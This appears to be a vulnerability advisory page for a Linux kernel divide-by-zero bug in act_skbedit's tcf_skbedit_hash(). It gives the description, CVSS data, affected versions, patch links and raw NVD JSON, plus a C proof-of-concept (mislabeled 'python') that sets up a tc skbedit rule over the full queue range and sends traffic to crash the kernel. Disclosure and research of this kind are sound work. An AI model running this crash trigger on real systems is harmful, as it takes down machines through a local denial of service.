CVE-2026-43238

Description

In the Linux kernel, the following vulnerability has been resolved: net/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash() Commit 38a6f0865796 ("net: sched: support hash selecting tx queue") added SKBEDIT_F_TXQ_SKBHASH support. The inclusive range size is computed as: mapping_mod = queue_mapping_max - queue_mapping + 1; The range size can be 65536 when the requested range covers all possible u16 queue IDs (e.g. queue_mapping=0 and queue_mapping_max=U16_MAX). That value cannot be represented in a u16 and previously wrapped to 0, so tcf_skbedit_hash() could trigger a divide-by-zero: queue_mapping += skb_get_hash(skb) % params->mapping_mod; Compute mapping_mod in a wider type and reject ranges larger than U16_MAX to prevent params->mapping_mod from becoming 0 and avoid the crash.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Commit 38a6f0865796 之后)

Linux Kernel (修复补丁之前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/*
 * PoC for CVE-2026-43238
 * Triggering divide-by-zero in act_skbedit
 * Requires CAP_NET_ADMIN capabilities (usually root)
 */

int main() {
    printf("[+] CVE-2026-43238 PoC Start\n");

    // Check privileges
    if (geteuid() != 0) {
        printf("[-] Error: You must be root to run this PoC (requires tc commands).\n");
        return 1;
    }

    // Setup a dummy network interface to test on
    printf("[*] Setting up dummy interface...\n");
    system("ip link add name dummy_poc type dummy");
    system("ip link set dummy_poc up");

    // Add a qdisc to attach filters to
    printf("[*] Adding qdisc...\n");
    system("tc qdisc add dev dummy_poc clsact");

    /*
     * Add the vulnerable skbedit action.
     * The bug occurs when queue_mapping_max - queue_mapping + 1 > U16_MAX.
     * Specifically, if queue_mapping=0 and queue_mapping_max=65535,
     * mapping_mod becomes 65536, which wraps to 0 in u16.
     * This causes a divide-by-zero when processing packets.
     */
    printf("[*] Configuring skbedit with vulnerable range (0-65535)...\n");
    // Note: 'tc' syntax may require specific kernel version support for these flags
    char cmd[256];
    snprintf(cmd, sizeof(cmd), 
             "tc filter add dev dummy_poc ingress matchall action skbedit queue_mapping 0 queue_mapping_max 65535");
    
    int ret = system(cmd);
    if (ret == 0) {
        printf("[+] Vulnerable rule added successfully.\n");
        printf("[*] Triggering packet processing (this may crash the kernel)...\n");
        
        // Generate traffic to trigger the tcf_skbedit_hash function
        // Sending a ping to the dummy interface creates skb traffic
        system("ping -c 1 -I dummy_poc 192.0.2.1");
        
        printf("[*] If system didn't crash, cleaning up...\n");
    } else {
        printf("[-] Failed to add tc rule. Kernel might not support the flags or is already patched.\n");
    }

    // Cleanup (if not crashed)
    system("tc qdisc del dev dummy_poc clsact");
    system("ip link delete dummy_poc");

    printf("[+] PoC Finished.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43238
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43238
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43238/
[4] VulDB https://vuldb.com/cve/CVE-2026-43238
[5] https://git.kernel.org/stable/c/015cebdfcb97b5347fb7f598ea712a281cb35840
[6] https://git.kernel.org/stable/c/3c2b95b26860bd6f8e2310d31ea1200d3f8f173e
[7] https://git.kernel.org/stable/c/4ece5eb4836f8ff03b9004dc2430a7169f282851
[8] https://git.kernel.org/stable/c/59809fda4da7730cfe84a948033f47eb45db073d
[9] https://git.kernel.org/stable/c/9c735a7d98c982a786b0db71eb6566ee00aaa04f
[10] https://git.kernel.org/stable/c/be054cc66f739a9ba615dba9012a07fab8e7dd6f

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43238", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:44.093", "lastModified": "2026-05-12T18:54:31.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_skbedit: fix divide-by-zero in tcf_skbedit_hash()\n\nCommit 38a6f0865796 (\"net: sched: support hash selecting tx queue\")\nadded SKBEDIT_F_TXQ_SKBHASH support. The inclusive range size is\ncomputed as:\n\nmapping_mod = queue_mapping_max - queue_mapping + 1;\n\nThe range size can be 65536 when the requested range covers all possible\nu16 queue IDs (e.g. queue_mapping=0 and queue_mapping_max=U16_MAX).\nThat value cannot be represented in a u16 and previously wrapped to 0,\nso tcf_skbedit_hash() could trigger a divide-by-zero:\n\nqueue_mapping += skb_get_hash(skb) % params->mapping_mod;\n\nCompute mapping_mod in a wider type and reject ranges larger than U16_MAX\nto prevent params->mapping_mod from becoming 0 and avoid the crash."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-369"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.19", "versionEndExcluding": "6.1.165", "matchCriteriaId": "3DD2C202-0D8D-4C7D-A980-CFCF610F7707"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/015cebdfcb97b5347fb7f598ea712a281cb35840", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3c2b95b26860bd6f8e2310d31ea1200d3f8f173e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4ece5eb4836f8ff03b9004dc2430a7169f282851", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/59809fda4da7730cfe84a948033f47eb45db073d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9c735a7d98c982a786b0db71eb6566ee00aaa04f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/be054cc66f739a9ba615dba9012a07fab8e7dd6f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}